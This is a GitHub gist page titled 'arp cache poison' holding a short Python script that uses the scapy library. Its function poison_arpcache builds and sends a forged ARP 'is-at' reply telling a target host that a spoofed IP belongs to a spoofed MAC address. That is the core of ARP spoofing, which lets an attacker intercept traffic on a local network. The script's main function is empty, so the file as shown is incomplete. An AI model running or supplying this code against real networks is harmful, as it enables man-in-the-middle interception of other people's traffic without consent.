Skip to content

Instantly share code, notes, and snippets.

@david415
Created November 18, 2013 20:00
Show Gist options
  • Save david415/7534362 to your computer and use it in GitHub Desktop.
Save david415/7534362 to your computer and use it in GitHub Desktop.
arp cache poison
#!/usr/bin/python
import scapy
import scapy.all
from scapy.all import ARP, send
def poison_arpcache(target_ip, spoofed_ip, spoofed_mac):
p = ARP()
p.op = "is-at"
p.hwsrc = spoofed_mac
p.psrc = spoofed_ip
p.hwdst = "ff:ff:ff:ff:ff:ff"
p.pdst = target_ip
send(p)
def main():
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment